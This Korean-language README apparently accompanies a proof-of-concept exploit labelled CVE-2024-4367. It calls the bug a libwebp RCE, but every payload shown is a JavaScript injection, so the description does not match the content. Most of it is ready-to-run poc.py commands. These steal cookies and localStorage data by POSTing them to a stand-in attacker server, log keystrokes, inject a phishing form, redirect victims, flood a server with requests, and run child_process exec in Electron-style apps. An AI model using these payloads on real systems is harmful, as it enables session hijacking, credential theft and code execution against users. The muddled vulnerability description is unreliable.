
CVE-2024-4367의 PoC (Proof of Concept) - libwebp의 RCE 취약점. 전체 데모 포함: 페이로드 생성, 공격 시나리오, 위험 분석 및 Express.js 테스트 서버.
또 다른 익스플로잇 예시는 공격이 작동하는지 확인하기 위해 간단한 경고 메시지를 주입하는 것입니다.
python poc.py "alert('XSS exploit triggered');"
XSS 공격은 피해자의 쿠키를 탈취하여 악성 서버로 전송하는 데 사용될 수 있습니다.
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie)로 전송합니다.공격자는 피해자의 localStorage에 저장된 인증 데이터나 세션 정보와 같은 민감한 정보를 탈취할 수 있습니다.
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage에 저장된 민감한 데이터를 가져와 fetch 요청을 통해 악성 서버로 전송합니다.공격자는 피해자를 악성 사이트로 리다이렉션하여 추가 정보를 수집하거나 다른 익스플로잇을 로드할 수 있습니다.
python poc.py "window.location.href='http://localhost:3000';"
또 다른 공격 유형은 서버에 요청을 대량으로 보내 성능 저하나 서비스 중단을 유발하는 것입니다.
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
공격자는 피해자의 키 입력을 가로채 비밀번호나 식별 정보와 같은 민감한 정보를 수집할 수 있습니다.
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
공격자는 XSS를 사용하여 웹 페이지에 피싱 폼을 주입하고, 이를 통해 비밀번호, 사용자 이름 등의 민감한 정보를 탈취할 수 있습니다.
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
사용자가 다운로드 버튼을 클릭하려고 할 때, 다운로드 대상을 변경합니다.
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
Electron이나 NW.js와 같은 프레임워크 기반 애플리케이션도 XSS 공격의 영향을 받을 수 있습니다. 이러한 프레임워크는 웹 콘텐츠를 데스크톱 애플리케이션에 통합하며 확장된 로컬 접근 권한을 제공하기 때문입니다.
이러한 애플리케이션은 권한으로 인해 공격자가 로컬 파일에 접근하거나, 외부 프로세스를 실행하거나, 대상 머신에서 다른 애플리케이션(예: 계산기, 텍스트 편집기 등)을 실행할 수 있게 합니다. 이는 웹의 강력함과 더 넓은 시스템 접근을 결합하므로 공격 표면을 크게 확장합니다.
CVE(Common Vulnerabilities and Exposures)를 익스플로잇한 공격은 다양한 유형의 XSS 공격을 수행할 수 있게 합니다. 웹 또는 데스크톱 애플리케이션의 특정 취약점을 익스플로잇함으로써, 공격자는 악성 코드를 주입하고, 민감한 정보를 탈취하며, 사용자 세션을 조작하거나, 대상 시스템에서 악의적인 작업을 실행할 수 있습니다